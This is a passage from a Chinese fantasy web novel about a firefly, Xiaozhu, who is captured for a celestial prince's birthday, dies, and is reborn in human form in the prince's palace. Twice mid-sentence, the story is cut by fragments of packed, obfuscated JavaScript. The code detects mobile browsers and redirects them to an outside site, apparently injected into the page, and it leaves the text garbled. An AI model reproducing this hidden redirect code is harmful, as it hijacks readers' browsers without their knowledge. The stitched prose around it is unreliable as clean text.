这里。等女孩回来,便把床让给她,他自己去杂物间打个地铺就行了。 宵烛用手语示意道: 水我帮你烧好了,趁热洗吧。 “噢,好,我这就来。” 女孩正卧在榻上挑灯看话本。见状,她起身下榻,把那小册子一搁,随手将垂落的长发绾到脑后。 这年头油价贵,平日里宵烛都不舍得点灯,也只有她在家的时候才会破例。 烛花在灯盏里轻轻爆开。油灯将熄未熄的昏黄里,女孩层层叠叠的纱衣宛如一片被晚霞染透的云霭,那瓣金色花钿被衬得愈发明艳。 恍若谁将烛芯跳动的火苗拾来一簇,点在了她眉间。 如今她年纪尚小,五官却已隐隐透出绝色之姿,可以想见,等来日完全长开,必定担得起一句倾国倾城。 这少女是宵烛的双胞胎妹妹,大名冯善花,也是他在世间唯一的亲人。 两人打同一个娘胎里出来,长得一模一样。 关于爹娘,宵烛的记忆其实已经很模糊了,只依稀记得小时候他们家家境不错,阿爹是个很有钱的商人,阿娘性情温柔,一家子过得很幸福。 但天有不测风云,后来家乡发了大洪水,爹娘都不幸死在那场洪水中。年仅五岁的宵烛只得带着妹妹远走他乡,跟随流民大军一路来到石硚岭,从此便在此扎根,又因没有户籍和土地,只能居住在乱石村中。 宵烛是个很容易满足的人。于他而言,现下的生活虽贫苦,但也并非完全过不下去,只要身体健康、能混口饭吃,他便知足。 但冯善花不是。 说起来,她原本的名字叫冯婼婼。“冯善花”一名,还是她后来自己给自己改的,取自“广袖翩翩善舞,从来名花倾国”。 这两句话,是后世人写给前朝祸国妖妃明姬的判词。 传闻那明姬曾是民间的一名舞女,因机缘巧合进入宫中,又凭借出众的美貌和舞姿夺得了君王的宠爱。她从小妃嫔一路爬到皇后的位置,却仍不知满足,蛊惑君王、结党营私、祸乱朝纲,最终直接导致了前朝的灭亡。 宵烛对妹妹的做法表示不理解。 一般人起名字都是想讨个好彩头,可明姬声名狼藉,最后下场也很凄惨,用她的判词做名字,不太合适吧? 但冯善花坚持要用这个名字。 她说,全天下那么多舞女,只有明姬一人能飞上金阙、享受最极致的富贵荣华,纵使生命短暂、饱受后世非议,也不枉来人间一遭了。 比起庸碌地活一辈子,她更佩服那些敢主动去争的人。 这是什么歪理?放着平稳安逸的日子不过,非要去和别人争得头破血流? 宵烛打心底不认同,但他拗不过妹妹。 毕竟,“冯善花的善是能言善辩的善,冯善花的花是花言巧语的花”,自家小妹这张嘴皮子,可是出了名的伶俐。 冯善花从小就能歌善舞。八岁那年,邻县一家酒楼的老板娘看中她的天资,将她收为义女,并亲自教习舞蹈、悉心栽培。从那以后,冯善花每隔月余才回家一次,宵烛和她见面的次数越来越少。 浴桶里的热水蒸出淡淡白雾。见冯善花脱下鞋袜准备沐浴,宵烛便掀起布帘离开了卧房。 他走到杂物间,把地面拾掇干净,铺了一层草席和被褥。 接着,他又从柜子底下翻出一只紫陶香炉。 这香炉外观十分古朴,通体紫红,釉面光滑如镜,周身镌刻着密密麻麻的符咒状纹路。 宵烛打开窗,把香炉搁置在窗台上,然后划了根柴火,将它点燃。 两缕轻烟从香炉顶端飘出,彼此纠结缠绕,久久凝而不散。 随后,奇异的一幕出现了—— 升腾到半空中时,那轻烟竟化作了两只灵动俏皮的鸟儿,一青一紫,盘旋飞舞,互相追逐,发出清越动听的鸣叫。 宵烛屏息仰望,不敢出声相扰。 直到两只鸟儿彻底消失在视野中,才慢慢收回视线。 ——他知道,它们会越过窗棂,越过人间的重重高墙,越过渺远无际的云霄,一直飞一直飞,飞到那九重天上的琼阆仙宫里去。 4. 如朝露 这是宵烛来到凡间的第十四个年头。 之所以这样讲,是因为,他原本并非凡间之人。 ——或者再明确一点说,他连人都不是,只是一只生活在神农谷里的萤火虫。 神农谷乃上古时期炎帝陨落之地。山谷内人迹罕至、灵气充沛,由此孕育出了无数珍奇草木、异兽灵虫。 宵烛正是其中之一。 萤火虫的生命如露水般短暂易逝,正常情况下,它们最多只能活一个夏季,入秋以后便会死去。 但那时宵烛灵识未开,懵懂的头脑中根本没有对“死亡”的概念。它有成千上万的亲人伙伴,每日饮花露甘泉为食,活得恣意无忧。 如今想想,那是一段多么宁静快乐的日子。 可惜这种安逸最终没能持续下去。 在某个披着金橘色晚霞的黄昏,沉寂已久的神农谷忽然迎来了一群不速之客。 四只莹洁无瑕的白鹿拉着一辆华美的沉香宝辇,足踏祥云破空而来,每步落下便在原地绽开一朵玉蕊冰莲,车轮碾过之处自动铺开五色云锦,清光流转,如梦似幻。 宝辇周身缭绕的仙气惊醒了谷中的生灵,宵烛和同伴们也纷纷飞去凑热闹。 沉香宝辇在一处水泽边停下。 几名端庄美丽的仙娥拨开纱幔,从车里款步走出,每个人手中都捧着一只晶莹剔透的紫玉琉璃盅。 月白衣裾拂开萤草上的露水,鲛纱织成的披帛流淌着银河般的光泽,微风把仙娥们身上的环佩吹得叮当作响,那是人间听不到的仙乐。 宵烛和伙伴从未见过如此瑰奇的景象,一时都看呆了。 接着,那些仙娥念动咒诀,开启了琉璃盅的封印。 几乎是瞬间,毫无心理准备的萤火虫们就被一股强大的力量拉进了琉璃盅! 直到这时,它们才堪堪反应过来——原来这些仙娥是冲着自己来的! 对危险的本能感知令萤火虫们开始拼命挣扎。它们想逃。 可那紫玉琉璃盅是仙器,怎能容这群低等的灵虫挣脱? 从入盅的那一刻起,它们便逃无可逃。 * 捉完萤火虫后,紫玉琉璃盅缓缓闭合,沉香宝辇载着仙娥们回到了天界。 从古至今,人族与妖族长期共存于凡间。而在三界的最高处,有一座巍峨的琼阆天宫。 传闻那是仙族的领地,也是无数人间修士梦寐以求的归所。但琼阆天宫戒备极其森严,外部设有重重结界,人族和妖族根本不可能被它接纳。 不知是幸运还是不幸,有生之年,作为一只低贱的灵虫,宵烛得以窥见了它的真容。 白玉门扉缓缓开启,浑厚钟鸣响彻整座琼阆天宫。 它的确如传说中一般,玉阶丹陛、云蒸霞蔚,衬得人间帝王修建的一切奢华宫殿都黯然失色。 这全然陌生的景象令宵烛感到害怕。 它积蓄起全身力气撞击琉璃盅的封盖,一遍又一遍,直至把翅鞘撞得残缺不全。 它不想待在这冷冰冰的殿堂内,它想回家,回温暖的神农谷,回到那水草丰美的山川湖泽中去。 “别不知好歹了,”一名仙娥察觉出它的意图,皱眉道,“太子殿下九千岁诞辰在即,能为他庆贺生辰,可是你们这些小虫子的荣幸呢。” 太子……殿下? 宵烛茫然。它一句话也听不懂。 仙娥早已没了耐性。 她素手轻敲盅壁,一道灵力瞬间从指尖溢出,压得宵烛无法再动弹,只能乖乖听凭摆布。 * 后来宵烛才知晓,仙娥口中的“太子殿下”,是这琼阆天宫里唯一的神,更是整个仙界公认的未来之主。 仙和神是不一样的,妖和魔亦同理。 远古洪荒时代,神、仙、人、妖、魔五族曾共存于世,其中以神魔二族实力最强。 后来水神共工在帝位之争中败给颛顼,因而怒触西北不周山,引发了洪水天劫。 始母神女娲历尽艰险,炼五色石以补天窟,才将天灾平息。 天劫过后,共工的做法自然引起众怒,女娲由此兴兵征伐其部族,掀起了一场旷日持久的大战。 这场战争的目的不止是讨伐共工。 昔日为争夺五界统领之位,神魔二族积怨已久,便借机加入战局,企图将局势搅得更浑,最终却两败俱伤。从那以后,神族和魔族相继陨落,世间便只剩下了人妖仙三族。 ——既然神族早已陨落,琼阆天宫的太子为何会被冠上“神”的名号? 背后的秘辛宵烛就不知道了。唯一可以肯定的是,那位太子殿下的身份是一等一的尊贵,连过个生日都有无数仙人上赶着讨好他。 “九”在仙界被视为最祥瑞的数字,“九千”更是祥瑞中的祥瑞。 为了给太子准备这次的庆生贺礼,仙人们使出了浑身解数,连头都快要想破了,只希望能借此机会获得太子青睐。 溯时星君便是其中之一。 他准备的贺礼是一幅九曜星舆图。只要将卷轴拉开,图上的星斗便会按观赏者的喜好排布成不同画面,世间千变万化皆蕴含在其中。 这件礼物已经是珍品中的珍品,但溯时星君对此并不满意。 天界珍宝无数,他要一出手就惊艳众人。 思来想去,溯时星君决定在呈上卷轴时加一道节目—— 试想,如若事先将九千只萤火虫封印在这幅图中,等到生辰宴上,太子打开卷轴,无数萤光渐次从画中跃出,在殿堂上方汇成皎皎银汉,那该是多么壮丽的景象! 溯时星君又听闻,凡间有一处神农谷,谷中的萤火虫汲天地灵气而生,发出的光芒明亮而纯粹,是进行这场表演的最佳选择。于是,他将紫玉琉璃盅交给宫中的仙娥,命她们即刻下界,去捉九千只萤火虫。 因着仙人的一念贪欲,宵烛和亲人同伴们便被迫离开故土,来到了天界。 太子生辰宴前夕,溯时星君忽然命仙娥把所有萤火虫都放了出来。 宵烛以为这是重获自由的信号,兴奋地在大殿里四处飞来飞去。 结果下一刻,它的腹部倏然传来一阵钻心的痛楚。 仙娥吟咏起古老的咒诀,一根极细的丝线缓缓浮现在她指尖。 那丝线不断延展、变长,就像用编绳穿念珠一般,顺次穿透了每只萤火虫的身体。 ——九千只萤火虫数目太过庞大,想要在短期内将它们训练妥当,并非易事,溯时星君便想到了用傀儡丝操控的法子。 这些灵虫不会痛吗? 傀儡丝入体,怎么可能不痛。 但那又有什么关系? 萤火虫的一生本就如露水般短暂易逝,能用有限的生命博取太子殿下的欢心,该是何等的“殊荣”! 被穿上傀儡丝后,宵烛的意识一直浑浑噩噩的,往后每每试图回想那段经历,皆以失败告终。 这或许是身体的本能在保护它。 毕竟……一些痛苦不堪的回忆,忘掉也罢。 溯时星君将这幅精心制作的九曜星舆图放进白玉锦盒,又亲手裁了流霞缎,捆扎在锦盒上方,命宫娥妥善保管。 * 随着太子生辰临近,一向肃穆的琼阆天宫内难得有了喜气。 可令所有仙人都没想到的是,等真到生辰宴那天,宴会的主角却缺了席。 高台之上,望着空缺的太子尊座,仙帝满面凝重,长久不语。 他虽未解释,众人却已能猜到缘由—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490812|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >太子命中劫数将至,神魂不稳,身体欠恙,今日怕是来不成了。 寿星来不成,但规定的礼数流程还是要走的,贺礼该送也得送,讲求一个体面。 溯时星君的脸色黑如锅底。太子缺席,他的一切心血都会付之东流。 别的仙人的心情也没好到哪里去。他们强颜欢笑地呈上礼物,说着恭贺的话,竭力粉饰算盘落空的失望。 没多久,溯时星君宫里的仙娥便走进了大殿。 她手中捧着的,正是那幅九曜星舆图。 画幅拉开的一刹那,流动在大殿内的丝竹声忽地停滞了。 抚弄冰弦的司乐仙子痴痴抬起头,眼底淌过一抹惊艳之色。 其余仙人亦是同样的反应。 一粒又一粒萤火自三尺鲛绡卷轴中跃出,在半空中化作了熠熠星辉。 随后,这九千道星辉又渐渐凝聚成一座巨大的光轮,二十八星宿依次流转于其表面,既绚烂,又震撼。 “当真是一场精彩至极的表演。”仙帝紧锁的眉头终于化开了些,赞叹道:“溯时有心了。” 溯时星君忙起身行礼: “一点薄礼而已,您谬赞了。小仙祝太子殿下华光如孤皎明月高悬万代,神威似中天玉衡永镇四方。今日无缘当面送上祝福,只能斗胆托陛下代为转达。” 仙帝颔首:“那是自然。湣儿一定会喜欢的。” “这点雕虫小技若能得殿下青睐,真是小仙的荣幸……” ——好疼,好热…… ——我是不是,快死了? 九曜星舆图收拢时,骤然加剧的痛楚令不少萤火虫挣断了身上的傀儡丝。 它们的腹部还发着光,温暖又明亮,可那是它们以燃烧生命为代价换来的。 神仙们对谈、饮酒,气氛再次活络起来,无人将目光施舍给这些生命行将就木的萤火虫。 宵烛看见自己的亲人和朋友一个接一个地死去,尸骸在半空中燃烧,到最后,连一点灰烬都没留下。 区区流萤,如何能抗衡仙界。 这就是它们既定的结局。 宵烛的视线渐渐模糊,它什么也看不见了。 但心里一直有道声音在对它说:回家吧,离开这座宫殿,回神农谷,去寻一片湿润温暖的水泽,枕着夏夜的轻风,在芦草柔软的叶脉上长眠。 ——是的,我要回家。 它如此想。 那点微弱的意念在此时竟发挥出强大的支撑作用。宵烛扑腾着翅膀,忍着周身烧灼的剧痛,从天宫穹顶的缝隙间飞了出去。 然而它不认路,眼睛也辨不清方向,只能像无头苍蝇一样循着本能四处乱飞,最后,闯进了一座陌生的宫殿。 说来真是造化弄人。天界共有大大小小约千余间宫殿,里面住着各路神仙,而宵烛进的那间,好巧不巧,正是由灵卜仙君掌管的灵卜司。 更为巧合的是,那一天,缺席了生辰宴的仙界太子宣湣也在灵卜司里。 但宵烛事先并不知情。 长时间的飞行慢慢耗尽了宵烛的体力,只剩残缺翅翼在半空中无力地拍打。 等最后一点力量用光后,它的身体似断线的风筝般直直往下坠去。 ——看来,还是失败了啊…… 宵烛有些失落地想,终究是回不去了。 九千只萤火虫,就在这华美的琼阆天宫内潦草地终结了一生。 它们生来微渺,又没有灵识,小小的心里自然装不下太浓烈的爱与恨。 譬如此刻,即便生命步入末路,宵烛心中也只有对故乡神农谷的不舍和依恋。 它死了。 ——这只可怜可悲的、被迫离开故土的萤火虫,最终,死在了冰冷的琼阆天宫。 5. 转瞬晞 宵烛曾经死过一次。 但若要问他死亡是什么感觉、到底痛不痛苦,他也回答不上来。 据说世间所有生灵死后,魂魄都会沉入地府,那是跳脱三界的所在,只有在地府走过一遭,才能再入轮回。 魂魄从躯壳里脱离出来后,宵烛感觉自己变得轻飘飘的,冥冥中好像有一股温和如水的力量包裹住了它。 宵烛还听见周围似乎有人在说话,可它既听不懂,也看不清。 那人托起它轻盈渺小的魂魄,不知将它带到了什么地方。 宵烛迷迷糊糊地想,这就是地府吗? 嗯……好像是个很不错的地方。 源源不断的灵力向宵烛淌来,如同阳光般温暖纯粹,照进它魂魄的每一个角落。 笼罩在灵识上的那层薄雾被驱散,渐渐的,宵烛的意识变得越来越清晰,旁人说的话也终于能听懂了一点。 “——殿下,你可要考虑清楚后果。世间因果皆有其定数,这小虫子冲撞了你的命网,你不计前嫌出手救下它,已是天大的恩情;但你还执意要助它化出人形,未免……太胡闹了些。” 沉默一会儿后,另一个声音道: “——我曾同父君说过,这次生辰宴无需大肆操办,那些贺礼虽极尽珍贵奢靡,于我而言却并无用处。说到底,若不是因为我,这小灵虫本可恣意无忧过完一生。是我欠了它。既是欠,就该尽我所能去偿还。” “——哼,说得轻巧!帮它化形容易,可你有没有想过,它的身份会有多尴尬?那些仙人的德性你最清楚,一个个假清高得很,必定是容不下它的,仙帝更不可能赐它封号。不久后你就要闭关,我也要去人间游历,届时小虫子该如何自处?” “——无妨。我那殿中正好缺一名仙侍,就派它去吧。有我的名号压着,其余仙人不会敢肆意欺侮它。” “——你……唉,宣湣,你真是糊涂!就等着这因果线越绕越乱越缠越理不清吧!算了,喝酒去了,我劝不了你这头犟驴!” …… 两道声音久久萦绕在宵烛耳边,一道咋咋呼呼大大咧咧,沾染了浓重的酒气;另一道则十分好听,若银磬击雪、冷泉漱玉,浸着风过竹篁的清润疏朗。 ——命网、因果线,那是什么东西? ——所以,我是被人救了吗? 还没思考出头绪,宵烛的魂魄再次被一股力量托起。随后,它似乎被放入了某个容器中。 容器冰冷的质感一下子就令宵烛想起了溯时星君用来捉它们的紫玉琉璃盅。 它的魂魄开始躁动不安,十分害怕之前遭受的折磨重演。 “别怕,”那个好听的声音轻声安抚道,“我会让你重新睁眼看见这个世界。” 随后对方顿了顿,又道: “自古以来,文人常以‘宵烛’代指飞萤。既如此……从今往后,你便叫做宵烛。” 宵烛舞微光,林幽夏夜长。 无心争皓月,自在饮秋霜。 ——从那一刻起,这只小小的萤火虫,才正式有了名字。 * 被安置到容器里后,宵烛的魂魄陷入沉眠,再无法感知外界的动静。 这一觉睡了很久很久。 等他再度苏醒时,莫说人界,连天界都不知换了几度春秋。 那天宵烛终于睁开眼睛,却发现自己躺在一间完全陌生的竹屋里,身下是柔软舒适的竹榻,空中弥漫着清浅好闻的花香。 屋子的门窗都是打开的,入目便是一片澄澈透蓝的湖水,湖中漂浮着无数朵碗莲,时不时有七彩锦鲤跃出湖面,甩开一道优美的水弧。 看样子,这里应该是一处亭台水榭。 宵烛眨了眨眼,很懵。 他想飞出去看看情况,结果半天没抖开翅膀。直到此时,他才惊愕地发现——他的翅膀不见了。 不,不止翅膀,他的背板、尾灯、细细短短的足肢……全都不见了!取而代之的是一具非常奇怪的躯壳。 现在的他,只有四根很粗的足肢,每根大足肢上面又分了五根小节肢。 宵烛又摸了摸自己的脑袋。 果不其然,上面光溜溜的,原本长在那里、可用来辨别方向的触须没啦! 这……这该怎么行动呢? 宵烛思索半天,最后决定像以前那样,几根足肢并用着爬出去。 文琇宫的小仙娥过来送饭时,瞧见这诡异的一幕,吓得差点打翻盘子。 “你你你——你怎么醒了?你在干什么?!” 宵烛刚爬到门口,听见她的话,呆呆地仰起了头。 他的眼神实在清澈又懵懂,其中还流露出令人不忍心苛责的愚蠢,像极了刚开始学走路的婴儿。 片刻后,小仙娥捧着肚子,压抑不住地大笑起来。 “哎,我说你,怎么傻了吧唧的!”她眼泪都笑出来了,只好用袖子拭干,“你现在是人,该用腿走路,不要再学萤火虫啦!” * 文琇宫是仙界太子宣湣的寝宫。 初建之时,仙帝原想以琉璃为瓦、金砖筑墙,将其建成琼阆天宫里最华美的宫殿。 但宣湣不喜奢靡铺张,最后只圈了块临水空地,用竹木搭建出这处栖身之所。 同仙界的其他宫殿相比,它朴素得有些格格不入。 说到宣湣太子,那真是整个仙界的传奇。 神与仙并非是完全不互通的两个种族,仙的实力强悍到一定地步,便可获得神格,从此跳出三界之外。 但宣湣与寻常仙人不同。他生来便具有神格,是命中注定的帝星。因此仙帝格外珍视这个儿子,因为他比谁都清楚成神有多么困难。 太子也没辜负他的期望,论才貌、品行、实力,都堪称无可挑剔。 灵卜司的灵卜仙君曾为太子卜过一卦,卦象显示其九千岁时命有一劫。如今太子九千岁生辰已过,神魂果然日渐虚弱,于是选择了闭关修养。 以上这些,都是文琇宫的小仙娥告诉宵烛的。 “你还真是走运!仙界那么大的地儿,别处不去,偏偏就撞了太子殿下的命网。你知道吗?平日里殿下虽心地良善,却也是有原则的。这回却跟中了蛊似的,不仅救你,为你塑了人形,还把你带回了自己的寝宫,外面传得沸沸扬扬的,可把仙帝陛下给气了个半死,”小仙娥嘟哝道,“殿下闭关前特意嘱咐我好好照顾你,教你学会人的生活习惯,还说千万不能让其他仙人为难你。真可谓一片苦心呐!” “多、多谢。给你添麻、麻烦了。” 宵烛刚开始学说话,还不怎么熟练,讲话结结巴巴的。 小仙娥“扑哧”一声笑了: “谢我干嘛?我只是奉命行事。你该谢的是太子殿下!” “谢、谢谢、太子殿、殿下。” 以往宵烛紧张或窘迫的时候有个习惯,他会耷拉着触须,像苍蝇一样不停搓两条细细的足肢。 现在变成了人,这习惯还是没纠正过来。 他把头埋得很低,十根无处安放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490813|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指胡乱绞在一起,薄薄的耳垂红得像快滴血。 小仙娥托腮打量了他一会儿,忽然感慨道: “你这具人身,样貌可真是一顶一的好看。据说为了给你塑出人形,殿下特意去了趟人界的浮荒雪山,采来埋在积雪之下的纯净土壤烧制成瓷偶,又一笔一笔亲自雕琢出你的肤貌,太用心啦!你一定要好好报答他。” 这回宵烛沉默了。 他的视线越过栏杆,静静望向湖面倒映出的人影。 萤火虫和人之间的差距犹如天堑。如今他成了人,审美却还停留在从前,根本无法理解仙娥口中的美丑。 萤火虫的审美观念非常质朴。它们普遍认为,谁个头长得最大、谁发出的光最明亮、谁飞得最高最远,谁就最好看。 湖水中映出的那个少年皮肤很白,白得黯淡,白得毫无生气。他的身形也很瘦小,仙侍的白色衣袍穿在他身上足足宽了一圈,为防止松落,只能用一根带子勉强系在腰部。 个头小,又不明亮,还不能飞,怎么都称不上好看。 ——这就是太子为他塑出来的人形吗? “宵烛……宵烛!”见他发呆,小仙娥唤了声,“想啥呢?哎我一直有个问题想问你,你说太子殿下为什么要对你这么好啊?” 她的疑问亦是仙界无数仙人的疑问。 灵虫是世间最低级的生物,要从灵虫修炼成人形,更是难上加难。 宵烛撞了太子的命网,二者的命数从此挂钩,太子救它,倒是合理之举。 可按常理来说,只要把这萤火虫封印在琉璃盅里,不放它出去横生是非就行了,太子却执意要用灵力温养它,甚至助它化形,实在有些……多此一举。 宵烛是怎么回答的呢? 他最后没回答,因为他也不知道答案。 说起来,他甚至连宣湣的面都没正式见过。他苏醒之时,宣湣就已经闭关了,哪能猜到对方内心的真实想法呢? * 宵烛在文琇宫待了很长时间。 小仙娥不肯放宵烛出去。她说文琇宫有太子设下的结界,没他的允许,外人无法擅自闯入。 此举是为了保护宵烛。 毕竟,若真踏出文琇宫,那些心怀叵测的眼睛能将这小虫子生吞活剥了。 好在宵烛傻是傻了点,却很安分听话。 他老老实实待在文琇宫里,每日跟着仙娥认真学习,渐渐改掉了萤火虫的习性,说话也利索不少,越来越像个人了。 谁知他不想自找麻烦,麻烦却找上了他。 那天宵烛和往常一样在文琇宫的水榭竹亭里闲坐,忽然听见一阵剧烈的水花扑腾声。 他心下一惊,循声望去,就见原本平静的湖面上不知何时多了条渔船。 ——这里是仙界,哪来的渔船?! 离得近了,宵烛发现船头上横躺着个人。 那人穿着一身揉得皱皱巴巴的青衣,腰间别一只雕琢精致的水葫芦酒壶,头发跟蛛网似的凌乱铺在船板上,有些发丝还垂进了湖里。 他举止散漫轻浮,一看便知是个荒诞不经的醉汉。 “宣湣小儿——!”醉汉取下酒壶,冲着水榭这边高喊,“五十年没见,外面都说你在文琇宫里金屋藏娇,藏得可严实,我来看看到底是怎么个事!” 宵烛正在喝茶,闻言猛呛了一大口,险些没打翻茶盏。 宣湣小儿…… 整个琼阆天宫里,恐怕,也只有这位灵卜仙君敢如此称呼太子了吧! 6. 萤烛光 宵烛听文琇宫的小仙娥提起过这位灵卜仙君。 “灵卜大人啊,可以说是整个天界最不像仙人的一位仙人了,”仙娥微微蹙眉道,“谁若是想找他,去灵卜司必定会扑空的。他最爱待的地方是仙醴坊,那里封存着无数琼浆佳酿,随便醉一口,就能睡上个好几十年!” 宵烛听得茫然: “这……难道不算玩忽职守吗?仙帝陛下不会生气吗?” 不怪宵烛心生疑惑。 这些日子,他每天在文琇宫学习规矩,学说话该怎么说、走路该如何走,举手投足都有既定的范式。 琼阆天宫戒律森严,各种繁文缛节多到记不住,这种压抑的环境怎可能容下一个散漫洒脱的仙君? 仙娥解释道: “仙帝陛下对此自然是不满的,但也拿他没办法。毕竟世间唯他一人能编结命网、卜测天道。他若撂担子不干,那麻烦可大了。” 宵烛恍然大悟: “所以,是仙界更需要灵卜仙君,而不是灵卜仙君需要仙界。” 仙娥:“嗯……差不多是这样吧。” 仙娥又告诉宵烛,灵卜仙君并非天生仙族。他曾经是凡人,因修行圆满才得道飞升,初登天宫时,只被封了个无人在意的闲散小仙名头。 后来宣湣太子出生,连着九十九日没有丝毫气息,魂魄游离体外,仙人们皆以为这是个死婴,本打算将其葬入仙冢。关键时刻,是灵卜仙君使用天机丝为太子固定魂魄,才保住了太子的性命。 不仅如此,太子拥有神格一事,也是由灵卜仙君测出来的。 宵烛听后心想,确实是个很厉害的仙人呢。 然而亲眼见到本尊时,他才发现,仙娥口中的“灵卜仙君”,荒唐程度远远超过他的想象。 渔船晃晃荡荡,最后在宵烛所在的竹亭前停下。 见状,原本仰躺着的灵卜仙君翻身而起,打算上岸。 可他醉得脚步虚浮,刚迈步便踏了个空,“扑通”一声,竟直直栽进了水里! “救命——!咳咳咳!” 青衣仙人狼狈呼救,四肢在水中不断拍打,水花溅得到处都是。 宵烛坐不住了,当即将身体探出围栏,想把灵卜仙君拉上来。 可这时,仙娥制止了他。 宵烛急道:“仙君溺水了!” “无妨,淹不死的,”仙娥早就对眼前情景习以为常,漠然道,“等会儿就能自己爬上来,正好也让他清醒清醒。” 话虽如此,看着渐渐沉入湖底的灵卜仙君,宵烛仍是坐立难安。 好在仙娥说的没错。经此一遭,灵卜仙君终于酒醒,片刻后便从湖里爬了上来。 刚上岸,他就气愤地指着仙娥的鼻子道: “好你个繁露!自己见死不救就算了,别人要救我,你还敢拦!” 繁露仙子面露歉意: “抱歉仙君,是太子殿下教我这么做的。不这样的话,怎么才能让您快速醒酒呢?” “上梁不正下梁歪,宣湣就是个混账玩意儿!对了……那混账人呢?仙醴坊一坛千春浮白喝得我睡了五十年,醒来后第一件事就是来文琇宫找他,结果这小子居然在外面设了结界!我费了老大力气才进来!” 还没等繁露仙子回答,灵卜仙君就看见了站在她旁边的宵烛,疑惑道:“这姑娘谁啊?文琇宫新来的仙娥?” 繁露:…… 宵烛:? “您这眼神怕是得去治治了,”繁露凉飕飕道,“他不是宫娥,是殿下救的那只萤火虫。而且,即便是萤火虫,也是有雌雄之分的。” “原来如此……我想起来了,好像确实有这么回事,”灵卜摸着下巴,围绕宵烛转了一圈又一圈,脸上写满惊奇,“我第一回见到你的时候,你才只有指甲盖那么大一点,触须断了,翅膀残了,尾灯烫得快要烧起来,却还是不管不顾地往前飞,跟油灯里扑火的蛾子一样,真有意思。现在居然都变成人形了啊。” 宵烛不习惯被人这样打量,很不自在地低下头,道: “承蒙仙君关照。我、我叫宵烛。” “所以宣湣在文琇宫设结界,是为了保护你啊?哦……那也难怪。” 繁露仙子忍不住道: “您今日除了找太子殿下,还有其他事吗?殿下已经闭关了,不如改日再来吧。” 这其实已经是暗中下逐客令了。灵卜仙君此人做事荒诞不经,时常语出惊人,除了太子,没人能轻易招架。 但灵卜丝毫没有要走的意思。 他一双眼睛还黏在宵烛身上,像发现了什么新奇玩具似的,怎么都看不够。 “——你们文琇宫不给他吃饭的吗?看这腰细得,饿几顿了?宣湣真不是个东西。” “——要不把他送到我那灵卜司去,每天好吃好喝养着,养胖了再送回来。” “——他这身体是宣湣塑出来的吧?看不出来啊,宣湣那家伙,平日里一副清心寡欲道貌岸然的模样,原来私下里喜欢这款的。真是知人知面不知心……呸,不要脸!” 越说越离谱。 繁露仙子忍无可忍: “仙君,请您慎言!” 灵卜是太子宣湣的救命恩人,两人亦是多年知交,平日互相损惯了,说话自然口无遮拦。 可这话落到旁人耳朵里,就很惊悚了。 岂止不合规矩,简直是大逆不道! 等终于胡说八道够了,灵卜仙君才心满意足地放过了太子。 他看向宵烛,笑眯眯道: “小虫子……啊不,小宵烛,我是你主人的挚友,你可以称呼我为灵卜爷爷。哎,加前缀太生疏了,你干脆直接喊我爷爷吧。来,叫一声听听。” 这位灵卜仙君生得俊美又风流,即便一身烟青广袖袍被水浸得湿淋淋的,也丝毫不显局促窘迫。 他笑起来的时候,那双好看的桃花眼里便浮起一层潋滟波光,如同一坛刚启封的醇酒,十足馥郁,十足诱人。 盯得久了,总会让人生出点晕乎乎的醉意。 宵烛正是如此。 他心里没来由升起一股紧张,又开始像苍蝇那样无措地搓手。 等搓够了,他老老实实喊道:“爷爷。” 繁露:“……” 呸,真不要脸! * 自从宵烛认下这个“长辈”以后,灵卜便经常来找他,说是怕他无聊,特意来陪他解闷。 慢慢的,两人就熟络了起来。 灵卜此人,一天天的正经事没怎么干过,论起吃喝玩乐却是行家中的行家。 那天他提着一只酒坛,兴冲冲地拉着宵烛来到湖边竹亭里对酌。宵烛不想扫朋友的兴,但又实在是对酒不太感兴趣,因此听灵卜品鉴起酒的味道和种类时,总有些心不在焉的。 “此佳酿名为‘千春浮白’,色如琥珀,甜润甘美,后劲悠长深远,饮之可淡忘一切烦忧,是三界第一清冽醇厚的美酒——咳咳,我自封的。虽说各人口味不同,极品珍酿很难分出第一第二,但我活了千万年,还从没遇到能胜过它的。仙醴坊每隔百年才能酿出一坛千春浮白,我软磨硬泡求了好久才求来这坛,小宵烛,你今天有口福了!” 听对方吹得天花乱坠的,宵烛难得生起了一丝好奇。 等灵卜将斟满酒液的玉盏推到自己面前,他盯着表层漂浮的细乳,心想,当真有那么好喝吗? 灵卜端详着宵烛的神情,忽然起了兴致,问: “你知道这‘千春浮白’是用什么东西酿成的吗?” 宵烛摇了摇头。他对酒可谓是一窍不通。 灵卜笑着说:“是神农谷的山泉。” 宵烛突然一怔。 “想家了吧?”灵卜搁了手中酒盏,悠悠道,“我听人说过,你出生在凡界神农谷。为了替宣湣庆生,溯时星君派人抓了九千只萤火虫送来天上,其中包括你。从那以后,你就没再回去过。” 少年的指尖触碰到冰凉的杯壁,发出很轻微的颤抖。 “自从化出人形后,以前的很多事情,我都记不太清楚了,”宵烛轻声说,“但我记得……神农谷的山泉,是甜的。” 灵卜点头: “是啊。仙界的水很干净,是三界最纯净的水源,没有一丝杂质,可它们无法用来酿造千春浮白。只有凡界神农谷才有这样甘甜的泉水。虽然没去过,但我想,那应该是个很美的地方。” 宵烛端起杯盏,仰头将里面的千春浮白一饮而尽。 的确是不可多得的美酒。 哪怕对酒一窍不通,宵烛也不得不承认, 